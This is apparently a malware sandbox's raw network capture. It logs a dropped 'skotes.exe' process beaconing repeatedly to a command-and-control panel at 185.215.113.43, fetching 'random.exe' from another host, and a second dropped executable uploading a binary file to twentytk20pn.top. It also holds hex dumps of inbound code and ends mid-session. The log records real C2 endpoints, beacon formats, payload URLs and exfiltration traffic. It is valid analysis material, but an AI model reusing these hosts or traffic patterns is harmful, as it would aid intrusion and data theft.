Dec 17, 2024 22:07:09.224807024 CET	672	IN	Data Raw: 08 89 f1 52 57 e8 0b 00 00 00 68 f8 41 42 00 56 e8 80 3f 00 00 56 89 ce 8b 44 24 0c ff 74 24 08 ff 70 04 ff 30 e8 f9 02 00 00 c7 06 10 c2 41 00 89 f0 5e c2 08 00 cc 57 56 89 ce 8b 7c 24 0c c7 01 28 c1 41 00 8d 41 04 31 c9 89 4e 08 89 4e 04 8d 4f Data Ascii: RWhABV?VD$t$p0A^WV\|$(AA1NNOPQEAGONFA^_WV\|$(AA1NNOPQDAGONF\A^_WV\|$(AA1NNOPQDAG
Dec 17, 2024 22:07:09.224811077 CET	1236	IN	Data Raw: c2 08 00 e8 93 fa ff ff cc 8b 44 24 04 8b 54 24 08 89 10 89 48 04 c2 08 00 8b 44 24 04 8b 10 8b 40 04 8b 49 04 33 48 04 33 54 24 08 09 ca 0f 94 c0 c2 08 00 cc 53 57 56 83 ec 0c 8b 74 24 20 8b 44 24 1c 8b 15 c0 57 42 00 31 e2 89 54 24 08 8b 11 89 Data Ascii: D$T$HD$@I3H3T$SWVt$ D$WB1T$PWROVI3J3L$1^_[USWVWB1D$WD$W$t$8l$4\$0wx@Wt$<PXQ
Dec 17, 2024 22:07:09.224817038 CET	224	IN	Data Raw: 01 fb 8b 74 24 20 56 ff 74 24 20 53 e8 96 54 00 00 83 c4 0c c6 04 1e 00 89 7d 00 89 e8 83 c4 08 5e 5f 5b 5d c2 08 00 89 f8 83 c8 0f 01 d1 39 c8 89 ce 0f 47 f0 89 f0 40 75 0a 31 c0 31 f6 4e e9 13 ff ff ff 3d 00 10 00 00 0f 83 fb fe ff ff 50 e8 64 Data Ascii: t$ Vt$ ST}^_[]9G@u11N=PdhkV@\|u.Dt%L8P4u@DjP}^WVWB1D$V&t!@L8D$Pf1
Dec 17, 2024 22:07:09.224821091 CET	1236	IN	Data Raw: c2 c1 e2 02 eb 05 ba 04 00 00 00 8b 06 8b 48 04 0b 54 0e 0c 31 c0 83 7c 0e 38 00 8d 0c 0e 0f 94 c0 c1 e0 02 09 d0 6a 00 50 e8 0f f7 ff ff 89 e1 e8 62 f6 ff ff 8b 4c 24 08 31 e1 e8 0d 06 00 00 89 f0 83 c4 0c 5e 5f c2 04 00 cc 53 57 56 83 ec 0c 0f Data Ascii: HT1\|8jPbL$1^_SWVt$WB1D$A0HOPW;VR OtPtjL$1^_[SWVt$WB1D$L$j\|dB$eBdPu3
Dec 17, 2024 22:07:09.224824905 CET	224	IN	Data Raw: 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 37 38 00 00 83 c4 08 c7 06 c8 c5 41 00 89 f0 5e c2 04 00 cc c7 01 28 c1 41 00 83 c1 04 51 e8 7b 38 00 00 83 c4 04 c3 b8 80 64 42 00 c3 b9 b8 64 42 00 e8 96 04 00 00 68 4c b8 41 00 e8 ec 01 00 00 59 c3 Data Ascii: 1VVQP78A^(AQ{8dBdBhLAYhVAYh`AYeBhhjAYVWj3^YfBjVfBAihtAY_^jjhfBeBh~AeYeB
Dec 17, 2024 22:07:09.322200060 CET	1236	IN	Data Raw: 1c 00 00 b9 cc 69 42 00 e8 ef 03 00 00 68 88 b8 41 00 e8 45 01 00 00 59 c3 68 92 b8 41 00 e8 39 01 00 00 59 c3 55 8b ec eb 0d ff 75 08 e8 a9 65 00 00 59 85 c0 74 0f ff 75 08 e8 28 a0 00 00 59 85 c0 74 e6 5d c3 83 7d 08 ff 0f 84 f2 20 00 00 e9 31 Data Ascii: iBhAEYhA9YUueYtu(Yt]} 1UuY]UEV AtjVYY^]U];WBu!UVWdBW09Bu>u&}>td,dBWBW0:B_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49927	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:14.027631044 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 37 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016747001&unit=246122658369
Dec 17, 2024 22:07:15.369286060 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49946	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:17.115787029 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:07:18.447393894 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49947	104.154.220.71	80	8072	C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:17.655472040 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 23413 Content-Type: multipart/form-data; boundary=------------------------iD63KDDjopvm8sDlIxtwtp Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 69 44 36 33 4b 44 44 6a 6f 70 76 6d 38 73 44 6c 49 78 74 77 74 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6e 6f 64 61 68 65 6a 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 34 58 8e 1b fb 80 9f 1b 1b 1c 17 28 15 46 fa 1d 89 3b 92 da d7 76 d1 fe 44 fa af 97 12 62 c4 16 04 ab fb e3 bb 8b 86 8f 87 47 38 f2 70 85 ac 29 67 aa ca d0 05 53 5f 1e 73 57 6f 06 79 95 34 e1 57 ca 9d a4 47 ac 64 4c df d1 36 5c 4e 88 3c f1 ac 4a f3 89 31 4b 1e a9 ae 35 49 5e ea bc 59 f1 f0 25 32 20 7f 3c 21 18 76 38 7d 36 ad 60 e1 21 5f 4d e3 1a 54 f3 f1 21 23 b1 4b d3 e9 20 e4 2f 57 aa e7 00 95 c6 39 6c 12 cf 9a fe 9b 6e 9d da 5c 34 32 8e c1 e3 e8 10 db f3 56 75 58 9f 48 4d 4e 8c cd dd 26 6b dc 80 ce e5 82 da 55 fe 93 [TRUNCATED] Data Ascii: --------------------------iD63KDDjopvm8sDlIxtwtpContent-Disposition: form-data; name="file"; filename="Conodahej.bin"Content-Type: application/octet-stream4X(F;vDbG8p)gS_sWoy4WGdL6\N<J1K5I^Y%2 <!v8}6`!_MT!#K /W9ln\42VuXHMN&kU..yu,hgM! j<RnhbG*h:P R@~I1ys#D-mdW!4(0d~&%_%Ki.n@+M=?e_`dxRVR5"`F-0 ]&t<%y[5WHd1.>c#l`pZZAW+XygCnrv0Bo8hW.}3--z=>E>X\>4l'u,7EWNz3w=^d :kc/(KRU},9ji414I)Rl<JZj=.37FF#"=}z(Khj8"9?4XF?Y6Am&{LMNd=l(@aMzK%b_LWXP/6U.d4XX2{>r+v#Z_O8>WQ;Y^FCDg [TRUNCATED]
Dec 17, 2024 22:07:17.775253057 CET	7416	OUT	Data Raw: 52 82 45 1f 38 4e 7b 5a f2 9a 0f 33 08 c8 66 89 6b ad da b9 6e a1 4b 51 7e a5 f1 c4 fb 88 60 2e 93 b9 96 ce 39 a2 ed b4 43 14 94 24 ea bd 9e e9 34 4a 71 3e 91 29 30 5c 0a 56 cf 33 f8 56 61 d7 c2 46 79 a2 45 87 0f 90 32 3b dc 77 f5 ca 53 21 8f 19 Data Ascii: RE8N{Z3fknKQ~`.9C$4Jq>)0\V3VaFyE2;wS!:][_=+KG.vS>ng9L>G}=!1qLsSQ`Z:yV'MS~l-\J^]AUouvt\|fF UA!$i5+gZ[L;/
Dec 17, 2024 22:07:17.775522947 CET	3821	OUT	Data Raw: 53 60 53 95 53 a0 aa 40 ac 88 74 99 a3 9a d4 a7 1b 40 31 f8 61 1c 8f 19 11 cc 96 c5 d1 87 bd 9c bd 09 30 a3 d2 a6 6a 2e 0e 1e 8f b2 21 03 0b c5 79 f4 82 32 01 3a 89 f9 66 8e 74 6f e5 a2 a1 ba 46 48 0c 46 39 c9 ec 73 70 66 21 45 a1 71 69 88 2a de Data Ascii: S`SS@t@1a0j.!y2:ftoFHF9spf!Eqi*y(i7x}OVeFy\@[Do5Hv/L{N@@!cE7Coa2OAetSFR,K(O :'$EDiXLqB4+CAaL
Dec 17, 2024 22:07:19.229758024 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Tue, 17 Dec 2024 21:07:19 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1734471426 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49955	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:20.084342957 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:07:21.422195911 CET	293	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 37 0d 0a 20 3c 63 3e 31 30 31 36 37 34 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 67 <c>1016748001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49957	104.154.220.71	80	8072	C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:20.507246017 CET	199	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 4f 51 4a 61 33 72 65 37 4b 78 6b 6e 34 61 77 46 31 37 33 34 34 36 39 35 39 38 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "OQJa3re7Kxkn4awF1734469598", "data": "Done2" }
Dec 17, 2024 22:07:21.973407984 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 17 Dec 2024 21:07:21 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49963	31.41.244.11	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:21.552087069 CET	142	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11 If-Modified-Since: Tue, 17 Dec 2024 09:45:14 GMT If-None-Match: "6761482a-bda80"
Dec 17, 2024 22:07:22.883727074 CET	191	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:22 GMT Last-Modified: Tue, 17 Dec 2024 09:45:14 GMT Connection: keep-alive ETag: "6761482a-bda80"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49971	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:25.369745970 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 37 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016748001&unit=246122658369
Dec 17, 2024 22:07:26.709528923 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49983	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:28.498764992 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:07:29.829222918 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49991	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:31.462874889 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:07:32.799125910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50000	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:35.213769913 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:07:36.555841923 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50010	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:38.811623096 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:07:40.144083977 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50018	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:41.900998116 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:07:43.284001112 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50026	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:44.924151897 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:07:46.275996923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50037	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:48.023578882 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:07:49.386662960 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50043	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:51.244353056 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:07:52.634535074 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50055	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:55.166217089 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:07:56.525897026 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50061	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:07:58.800271988 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:08:00.136605024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:07:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50068	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:08:02.868855953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:08:04.206005096 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:08:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50078	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
